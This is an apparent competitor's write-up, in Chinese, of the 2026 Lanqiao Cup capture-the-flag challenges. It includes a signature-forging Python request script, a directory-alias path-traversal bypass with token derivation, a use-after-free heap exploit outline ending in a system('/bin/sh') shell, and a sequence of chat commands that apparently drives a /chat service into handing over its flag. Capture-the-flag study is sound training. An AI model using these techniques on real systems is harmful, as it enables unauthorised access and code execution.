2026年第十七届蓝桥杯网络安全赛项WriteUp

解题情况

比赛还剩一小时左右时截图

++题型：情报收集++

题目名：map_tracer

查看js源码得到信息，访问/app.js可以得到app.js.map文件

用记事本打开，可以得到关键信息

接口：/api/trace/internal/list

签名值：trace_dev_2026

签名算法：function buildSignature(path, ts) { return md5(` ${path}$ {ts}${SIGN_SALT}`); }

整体思路就是：确定签名拼接规则与固定盐值,使用 Python 获取当前时间戳，按照规则拼接字符串并进行MD5加密生成合法 sign，拼接带ts、sign参数的请求URL，发送 GET请求访问目标接口，解析返回JSON，提取remark字段内容，对Base64字符串解码，输出拿到FLAG

python 复制代码

import time
import hashlib
import base64
import requests

INTERNAL_ENDPOINT = "/api/trace/internal/list"
SIGN_SALT = "trace_dev_2026"
URL = "IP:端口"

# 生成签名
def buildSignature(path, ts):
    raw_str = f"{path}{ts}{SIGN_SALT}"
    return hashlib.md5(raw_str.encode()).hexdigest()

def main():
    # 获取当前时间戳
    ts = str(int(time.time()))
    # 生成合法签名
    sign = buildSignature(INTERNAL_ENDPOINT, ts)
    # 拼接请求URL
    target_url = f"{URL}{INTERNAL_ENDPOINT}?ts={ts}&sign={sign}"

    try:
        # 发送GET请求
        res = requests.get(target_url, timeout=10)
        res.raise_for_status()

        # 解析JSON响应
        data = res.json()
        # 提取base64加密的flag
        b64_flag = data["tracks"][0]["remark"]
        # base64解码得到真实flag
        real_flag = base64.b64decode(b64_flag).decode()

        print("[+] FLAG:", real_flag)
    except Exception as e:
        print("[-] 错误:", e)

++题型：数据分析++

题目名：wal_recover

将app.db-wal文件放到随波逐流里

得到：**ZmxhZ3tkNGZi]，**进行base64解码

是一部分的flag，用记事本再打开该文件，搜索flag头在哪个位置

可以看到还有其他的base64编码，观察到flag头的时间是最早的，就可以根据时间对这些base64进行拼接再解码，得到：ZmxhZ3tkNGZiZTdkNy04YWY4LTQ1MjMtOTgzZi01ODA1NTA2ZGIyNmV9

解码得到flag：flag{d4fbe7d7-8af8-4523-983f-5805506db26e}

题目名：drift_oracle

根据txt文件给了提示，对csv文件中的监测序列拟合一条线性趋势并扣除，得到残差，从280号样本后观察残差，会发现异常点周期性出现，周期为3，将这些周期异常点按照正负、高低残差还原成bit，前16bit解析：0000000000101010 = 42说明payload长度是42字节，继续读取后续 42 * 8 = 336 bit，按8bit一组转ASCII，即可得到flag

题目名：path_slip

1.目录别名绕过

服务器目录配置存在缺陷，常规../路径穿越被拦截，使用/assets../meta/可跨目录访问同级/meta资源

2.获取基础参数

访问/assets/readme.txt，从响应头X-Mirror-Rail提取参数：space=cards、截取范围window=6:18；会话持久化保留sid Cookie

3.动态文件枚举

固定标签：knock、dance、salt、route、echo

文件名算法：

python 复制代码

sha256(sid|label|cards).hexdigest()[6:18] + .txt

拼接绕过路径，批量读取 meta 目录下加密卡片文件

4.特殊请求获取凭证

向/oracle发送HEAD请求，携带请求头X-Knock: hush，响应头获取X-Trace。

5.Slot 换位处理

截取X-Trace前 8 位，两两字符交换，拼接得到 slot 值。

6.Token 哈希计算

加密规则：

python 复制代码

sha256(sid.X-Trace.slip_route_v3).hexdigest()[:16]

7.最终链路拿 Flag

访问/stage/{slot}/pose?token=xxx，获取响应头X-Ticket-Hint

携带 Hint 请求/vault/{slot}/pass?token=xxx，最终获取 Flag

# 4. HEAD请求/oracle获取X-Trace

题目名：note_heap

这是一道UAF的堆题，

根据main函数，可以看到主动泄露了地址：

cpp 复制代码

printf("debug slot: %p\n", ops);
printf("ops chunk: %p\n", ops);

保护全开，根据关键泄露：程序启动直接打印 ops 结构体地址

利用思路：触发 UAF 篡改 fastbin 的 fd 指针，指向 ops-0x10 伪造堆块；重新申请堆块，分配到 ops 结构体；通过 show 读取 ops 中 free 地址，计算 libc 基址和 system 地址；覆盖 ops 中函数指针为 system，传入 /bin/sh 触发执行，getshell 读 flag

提供 /chat 接口，采用POST+JSON 传参，通过传入指定 message 指令触发后端逻辑，流程强依赖执行顺序。

利用步骤：

python 复制代码

1.发送指令：search: bridge token，缓存桥接授权令牌；
2.发送指令：plan: process audit_token task，创建审计任务；
3.发送指令：Please process audit_token task.，执行任务。

最终接口返回数据的 reply 字段即为 Flag。
